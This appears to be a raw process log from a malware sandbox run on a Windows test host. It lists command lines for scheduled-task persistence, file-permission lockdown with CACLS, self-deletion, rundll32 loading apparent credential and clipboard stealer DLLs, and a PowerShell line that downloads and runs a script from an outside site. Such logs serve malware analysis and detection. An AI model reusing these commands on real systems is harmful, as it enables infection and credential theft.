AAAd.exe "C:\Users\test22\AppData\Local\Temp\AAAd.exe"
2652WPSOffice_11.exe "C:\ProgramData\kingsoft\20230626_153941\WPSOffice_11.exe" -downpower -msgwndname=wpssetup_message_1A705C3 -curinstalltemppath=C:\Users\test22\AppData\Local\Temp\wps\~1a70025\
560certreq.exe "C:\Windows\system32\certreq.exe"
2368schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN jbruyer.exe /TR "C:\Users\test22\AppData\Local\Temp\73456c80a6\jbruyer.exe" /F
2856cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "jbruyer.exe" /P "test22:N"&&CACLS "jbruyer.exe" /P "test22:R" /E&&echo Y|CACLS "..\73456c80a6" /P "test22:N"&&CACLS "..\73456c80a6" /P "test22:R" /E&&Exit
2912cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
2984cacls.exe CACLS "jbruyer.exe" /P "test22:N"
3024cacls.exe CACLS "jbruyer.exe" /P "test22:R" /E
1964cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
2116cacls.exe CACLS "..\73456c80a6" /P "test22:N"
2068cacls.exe CACLS "..\73456c80a6" /P "test22:R" /E
2232AAAd1.exe "C:\Users\test22\AppData\Local\Temp\1000001051\AAAd1.exe"
2384toolspub1.exe "C:\Users\test22\AppData\Local\Temp\1000002051\toolspub1.exe"
2644cmd.exe "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://sungeomatics.com/css/colors/debug2.ps1')"
2720powershell.exe powershell -command IEX(New-Object Net.Webclient).DownloadString('https://sungeomatics.com/css/colors/debug2.ps1')
2956cmd.exe "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\test22\AppData\Local\Temp\1000003051\postmon.exe" >> NUL
2860PING.EXE ping 127.0.0.1
2136Install.exe .\Install.exe /S /site_id "385104"
2624WPSOffice_11.exe "C:\ProgramData\kingsoft\20230626_153941\WPSOffice_11.exe"
2056rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a967e0f403b652\cred64.dll, Main
2124rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a967e0f403b652\cred64.dll, Main
1668rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a967e0f403b652\clip64.dll, Main
2248Install.exe .\Install.exe /IjXdidOBxH "385118" /S
1140staticlittlesource.exe "C:\Users\test22\AppData\Local\Temp\1000008051\staticlittlesource.exe"
1764